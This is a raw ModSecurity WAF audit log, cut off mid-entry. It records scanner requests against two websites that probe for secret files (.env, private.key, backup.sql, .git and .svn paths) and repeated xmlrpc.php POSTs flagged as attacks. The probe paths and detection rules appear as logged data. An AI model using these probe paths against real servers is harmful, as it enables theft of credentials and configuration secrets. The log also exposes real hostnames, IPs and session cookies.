AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1542ca2d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0ce2c100bfc6609dd62c90167b44e28d1750035361; expires=Mon, 16 Jun 2025 01:56:01 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1542ca2d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/:8000/configurationtion.bak"] [unique_id "aE9roZ16HYQp4eDf7R1YmgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035361247056 722208 (- - -) Stopwatch2: 1750035361247056 722208; combined=1797, p1=341, p2=1351, p3=0, p4=0, p5=104, sr=103, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1542ca2d-Z-- --3047732d-A-- [16/Jun/2025:06:26:13.961834 +0530] aE9rrZLRu31pT8F-J2ZPQgAAAAc 185.177.72.210 54642 127.0.0.1 7081 --3047732d-B-- GET /packages/api/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3047732d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e7b1f97c42f12c86ccb9855f84eafca81750035373; expires=Mon, 16 Jun 2025 01:56:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3047732d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/packages/api/.env"] [unique_id "aE9rrZLRu31pT8F-J2ZPQgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035373282593 679325 (- - -) Stopwatch2: 1750035373282593 679325; combined=2064, p1=388, p2=1566, p3=0, p4=0, p5=109, sr=95, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3047732d-Z-- --82f08076-A-- [16/Jun/2025:06:26:23.350145 +0530] aE9rtpLRu31pT8F-J2ZPSQAAAAc 128.199.112.101 39006 127.0.0.1 7081 --82f08076-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --82f08076-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --82f08076-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9rtpLRu31pT8F-J2ZPSQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035382406459 943760 (- - -) Stopwatch2: 1750035382406459 943760; combined=2483, p1=370, p2=1579, p3=54, p4=87, p5=241, sr=99, sw=152, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82f08076-Z-- --e08e3725-A-- [16/Jun/2025:06:26:33.371052 +0530] aE9rwDC9bb-fhYp4LpFUFAAAAAM 185.177.72.210 50744 127.0.0.1 7081 --e08e3725-B-- GET /private.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e08e3725-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c38ec833e204f4121ed18e1bd1ec39a21750035393; expires=Mon, 16 Jun 2025 01:56:33 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e08e3725-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/private.key"] [unique_id "aE9rwDC9bb-fhYp4LpFUFAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035392612093 759048 (- - -) Stopwatch2: 1750035392612093 759048; combined=1914, p1=336, p2=1456, p3=0, p4=0, p5=122, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e08e3725-Z-- --72d85c6c-A-- [16/Jun/2025:06:26:35.615042 +0530] aE9rwvbo0R64L12N_alYAwAAAAQ 185.177.72.210 50956 127.0.0.1 7081 --72d85c6c-B-- GET /backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --72d85c6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0ae7a7cc4106b822e8be056e4d7816001750035395; expires=Mon, 16 Jun 2025 01:56:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --72d85c6c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backup.sql"] [unique_id "aE9rwvbo0R64L12N_alYAwAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035394954871 660234 (- - -) Stopwatch2: 1750035394954871 660234; combined=1934, p1=343, p2=1496, p3=0, p4=0, p5=95, sr=103, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --72d85c6c-Z-- --b6261575-A-- [16/Jun/2025:06:26:38.356643 +0530] aE9rxRqlZKl9zSjMrhQ3jgAAAAE 185.177.72.210 51040 127.0.0.1 7081 --b6261575-B-- GET /stackato-pkg/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b6261575-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2bd78adf702305009bec79c791ddca561750035398; expires=Mon, 16 Jun 2025 01:56:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b6261575-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/stackato-pkg/.env"] [unique_id "aE9rxRqlZKl9zSjMrhQ3jgAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035397643599 713130 (- - -) Stopwatch2: 1750035397643599 713130; combined=2000, p1=421, p2=1322, p3=0, p4=0, p5=256, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b6261575-Z-- --bdf84c0c-A-- [16/Jun/2025:06:26:44.746435 +0530] aE9ry6pdvXW4_hknQUU4kgAAAAo 185.177.72.210 57064 127.0.0.1 7081 --bdf84c0c-B-- GET /.svn/entries HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bdf84c0c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9e081d6ccd35bb1389a457bae85d7ba91750035404; expires=Mon, 16 Jun 2025 01:56:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bdf84c0c-H-- Message: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.svn/entries"] [unique_id "aE9ry6pdvXW4_hknQUU4kgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035403987197 759303 (- - -) Stopwatch2: 1750035403987197 759303; combined=1951, p1=419, p2=1424, p3=0, p4=0, p5=107, sr=98, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bdf84c0c-Z-- --e74a5c38-A-- [16/Jun/2025:06:27:04.135484 +0530] aE9r3_bo0R64L12N_alYEAAAAAQ 185.177.72.210 56870 127.0.0.1 7081 --e74a5c38-B-- GET /:8080/en/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e74a5c38-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3601d50b7cc8a86fa3975ae88076b4831750035423; expires=Mon, 16 Jun 2025 01:57:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e74a5c38-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/en/.env"] [unique_id "aE9r3_bo0R64L12N_alYEAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035423415614 719943 (- - -) Stopwatch2: 1750035423415614 719943; combined=1775, p1=389, p2=1277, p3=0, p4=0, p5=108, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e74a5c38-Z-- --5ba3497d-A-- [16/Jun/2025:06:27:09.468301 +0530] aE9r5A9THibLN0xLxETzaQAAAAk 185.177.72.210 57164 127.0.0.1 7081 --5ba3497d-B-- GET /:9000/.env_1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5ba3497d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ece18b4ace9b01c3be2281ba627741a01750035429; expires=Mon, 16 Jun 2025 01:57:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5ba3497d-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env_1"] [unique_id "aE9r5A9THibLN0xLxETzaQAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035428774152 694214 (- - -) Stopwatch2: 1750035428774152 694214; combined=1359, p1=307, p2=948, p3=0, p4=0, p5=103, sr=76, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ba3497d-Z-- --3baa3277-A-- [16/Jun/2025:06:27:20.389189 +0530] aE9r79NEcm-DhAkC0ibfpQAAAAY 185.177.72.210 45782 127.0.0.1 7081 --3baa3277-B-- GET /option/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --3baa3277-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e59f776128d36178e56808de78cdc9831750035440; expires=Mon, 16 Jun 2025 01:57:20 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --3baa3277-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/option/.env"] [unique_id "aE9r79NEcm-DhAkC0ibfpQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035439663561 725716 (- - -) Stopwatch2: 1750035439663561 725716; combined=1866, p1=366, p2=1398, p3=0, p4=0, p5=102, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --3baa3277-Z-- --ea14fc77-A-- [16/Jun/2025:06:27:23.625539 +0530] aE9r8jC9bb-fhYp4LpFUKwAAAAM 128.199.112.101 45892 127.0.0.1 7081 --ea14fc77-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --ea14fc77-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --ea14fc77-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9r8jC9bb-fhYp4LpFUKwAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035442655694 969900 (- - -) Stopwatch2: 1750035442655694 969900; combined=2843, p1=402, p2=2079, p3=29, p4=54, p5=181, sr=113, sw=98, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ea14fc77-Z-- --f6b4641a-A-- [16/Jun/2025:06:27:27.539119 +0530] aE9r9p_Rv4EBtUyS5c4I_wAAAAU 185.177.72.210 45994 127.0.0.1 7081 --f6b4641a-B-- GET /:10000/vendor/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f6b4641a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=58d943699861598cf7cfa626619265401750035447; expires=Mon, 16 Jun 2025 01:57:27 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f6b4641a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/vendor/.env"] [unique_id "aE9r9p_Rv4EBtUyS5c4I_wAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035446817891 721302 (- - -) Stopwatch2: 1750035446817891 721302; combined=2267, p1=485, p2=1683, p3=0, p4=0, p5=98, sr=111, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f6b4641a-Z-- --7dd28a69-A-- [16/Jun/2025:06:27:36.702848 +0530] aE9sADC9bb-fhYp4LpFUMAAAAAM 185.177.72.210 46512 127.0.0.1 7081 --7dd28a69-B-- GET /api-server/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7dd28a69-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=09aba5cd954a289e6661dbebcf42e3951750035456; expires=Mon, 16 Jun 2025 01:57:36 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7dd28a69-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/api-server/.env"] [unique_id "aE9sADC9bb-fhYp4LpFUMAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035456022936 679974 (- - -) Stopwatch2: 1750035456022936 679974; combined=1877, p1=384, p2=1400, p3=0, p4=0, p5=93, sr=96, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7dd28a69-Z-- --28894730-A-- [16/Jun/2025:06:27:49.294295 +0530] aE9sDDC9bb-fhYp4LpFUNQAAAAM 185.177.72.210 51758 127.0.0.1 7081 --28894730-B-- GET /.git/%E3%83%AD%E3%82%B0/head HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --28894730-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=335197ee3649cdf7eb5725d3138d6ca91750035469; expires=Mon, 16 Jun 2025 01:57:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --28894730-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] 